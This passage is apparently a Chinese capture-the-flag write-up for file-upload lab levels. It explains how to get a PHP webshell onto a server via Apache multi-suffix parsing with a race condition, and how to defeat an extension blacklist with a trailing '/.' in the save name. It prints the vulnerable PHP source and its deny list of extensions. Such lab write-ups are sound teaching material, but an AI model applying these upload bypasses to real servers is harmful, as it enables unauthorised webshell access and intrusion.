){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } ...... ...... ...... };
这题就是先检测白名单再放到服务器上面去了,由于这题是appache服务器,那我们就可以用到appache服务器的漏洞了
用到的漏洞是多后缀名解析漏洞
Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别;因此可以用于文件上传来绕过(意思就是7z无法识别,然后就会继续会往左识别php)
但是你不能直接上传一个php文件然后改成.php.7z,因为这里他给你重命名了,重命名的规则就是以最后一个后缀,来重命名文件,所以你上传上去的话,大概率会获得
所以这个题我们还是得用条件竞争,利用多线程, 把这个传上去,然后再次利用多线程访问(访问就会顺便执行这个文件,所以会生成后们木马php文件),来执行这个php的文件
所以跟上个题的做法差不多,先上传抓包改成1.php.7z,然后再发个包一直访问这个文件(目的是让它执行).
然后先让他无限传送用25个线程,后开始无限访问用25个线程
当访问的攻击包出现200状态码是就代表成功了
发现上传成功,然后再看看执行了里面的代码没有
发现有Tony.php,就代表成功了,然后看看蚁剑能不能连接成功
嘿嘿成功
pass-20(/.绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
发现是黑名单,然后用的是move_uploaded_file()函数去传递最后存放的位置
由于move_uploaded_file()函数中的img_path是由post参数save_name控制的,可以在save_name利用%00截断(注意php版本低于5.3),但是这题已经做过了,所以这题的用意肯定不在这里,这个函数还有另外一个特性
move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.
所以我们用/.绕过就可以了,将我们上传后的路径换成upload-19.php/.
你不能直接保存为19.php,要不然就会出现如下情况
要用/.
成功